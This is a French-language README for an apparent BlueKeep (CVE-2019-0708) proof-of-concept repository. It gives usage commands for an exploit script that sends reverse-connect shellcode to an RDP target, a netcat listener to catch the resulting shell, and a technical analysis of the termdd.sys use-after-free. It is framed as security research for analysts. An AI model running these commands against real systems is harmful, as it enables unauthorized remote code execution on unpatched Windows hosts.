ricseclab/cve-2019-0708CVE-2019-0708 (BlueKeep) preuve de concept permettant une exécution de code à distance (RCE) pré-authentification sur Windows 7
Ce dépôt démontre le bug d'exécution de code à distance dans les services Remote Desktop Services (RDS) de Windows.
Voici un code POC et un rapport technique sur la vulnérabilité BlueKeep, que nous avons développés auparavant.
NOTE : Notre objectif est d'aider les analystes à mieux comprendre les vulnérabilités critiques.
Notre code d'exploit est écrit en Python 3 et repose sur la bibliothèque PyRDP. Veuillez les configurer en suivant le guide d'installation de PyRDP.
Actuellement, notre exploit cible et a été testé sur Windows 7 SP 1 (6.1.7601) x64 sur Virtual Box.
Si votre ordinateur a l'adresse IP 192.168.56.1 et que vous ciblez le serveur RDP à example.com:1234, tapez alors
$ python exploit.py example.com -rp 1234 192.168.56.1
Si le script exploite avec succès le serveur, un shellcode de connexion inverse initie une connexion TCP du serveur vers 192.168.56.1:4444. Par conséquent, par exemple, vous devez attendre la connexion avec netcat :
$ nc -v -l 4444
Si vous souhaitez modifier le numéro de port auquel le serveur se reconnecte, utilisez l'option -bp :
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
En mai 2019, Microsoft a divulgué une vulnérabilité critique d'exécution de code à distance CVE-2019-0708, dans les services Remote Desktop Services (anciennement Terminal Services). Cette vulnérabilité est pré-authentification — ce qui signifie qu'elle est wormable, avec le potentiel de provoquer des perturbations généralisées. Un attaquant peut exploiter cette vulnérabilité en envoyant des messages Remote Desktop Protocol (RDP) spécialement conçus au serveur cible et obtenir une exécution de code arbitraire avec des privilèges administratifs.
Microsoft Remote Desktop Services permet à un utilisateur d'ouvrir des sessions Windows interactives à distance. Il présente le bureau Windows de l'utilisateur en communiquant avec le client utilisateur via le protocole Remote Desktop Protocol (RDP) sur le port 3389/TCP.
Le protocole RDP peut être amélioré par des extensions logicielles appelées Virtual Channel. Des exemples d'améliorations fonctionnelles pourraient inclure : le support de types spéciaux de matériel, l'audio, ou d'autres ajouts à la fonctionnalité de base.
Ces canaux incluent des canaux standard supposés par Microsoft tels que "rdpdr" (Redirection), "rdpsnd" (Son), "cliprdr" (Partage de presse-papiers) etc. Les utilisateurs peuvent écrire des modules en utilisant l'API RDP pour supporter d'autres canaux. En plus des canaux ci-dessus, Microsoft crée deux canaux par défaut : MS_T120 (utilisé pour RDP lui-même) et CTXTW (utilisé dans Citrix ICA).
La vulnérabilité est liée au processus de liaison des canaux virtuels de MS_T120 via la requête "MCS Connect Initial and GCC Create".
Plus d'informations sur le contexte sont disponibles sur ZDI.
Comme mentionné dans l'article de ZDI, tous les canaux virtuels demandés par le client sont créés en utilisant termdd!IcaCreateChannel(). Ensuite, les pointeurs vers ces structures de canal sont stockés dans une table, que nous appellerons ChannelPointerTable.
Lorsqu'une connexion est établie avec le client RDP, tous les canaux virtuels statiques, y compris MS_T120, sont initialisés en interne par le serveur RDP Windows et pointés par ChannelPointerTable.
La requête pour créer MS_T120 et CTXTW est émise par rdpcore!WDLIB_IcaVirtualQueryBindings().
Fig .1 : Génération de la requête pour la création de MS_T120 et CTXTW
Après que la requête soit passée à termdd!IcaBindVirtualChannels(), une structure de canal virtuel est créée dans termdd!IcaAllocateChannel() et enregistrée dans ChannelPointerTable.
Fig .2 : Création et enregistrement de la structure de canal virtuel
La routine de fonction termdd!IcaBindChannel() est responsable de l'enregistrement d'une structure de canal virtuel dans ChannelPointerTable.
Voici la trace de pile sur Windows 7 x64, lorsque termdd!IcaBindChannel() est appelée avec le premier argument "MS_T120" et le troisième argument 0x1f.
Fig .3 : MS_T1209 est lié à l'emplacement 0x1f lors de la requête initiale
Ensuite, ChannelPointerTable ressemble à ceci. Notez que MS_T120 est toujours présent dans l'emplacement 0x1F.
Fig .4 : ChannelPointerTable lors de la requête initiale
Une vulnérabilité de type use-after-free existe dans le pilote noyau RDP Windows, termdd.sys.
Le problème est que lorsque le client spécifie un canal avec le nom MS_T120\x00 lors de la requête "MCS Connect Initial and GCC Create", termdd!IcaCreateChannel() appelle termdd!IcaFindChannelByName() et renvoie la structure de canal MS_T120 existante dans l'emplacement 0x1F. Ensuite, cette structure de canal est considérée comme une nouvelle entrée de canal virtuel et stockée dans un autre emplacement (dans cet exemple, l'emplacement 2) lors de la requête "MCS Attach User Request".
Voici la trace de pile sur Windows 7 x64, lorsque termdd!IcaBindChannel() est appelée avec le premier argument "MS_T120" et le troisième argument 0x2.
Fig .5 : MS_T1209 est également lié à l'emplacement 0x2 lors de la requête d'attachement
En d'autres termes, la structure de canal MS_T120 est pointée par deux emplacements 0x1F et 0x2.
Fig .6 : ChannelPointerTable lors de la requête d'attachement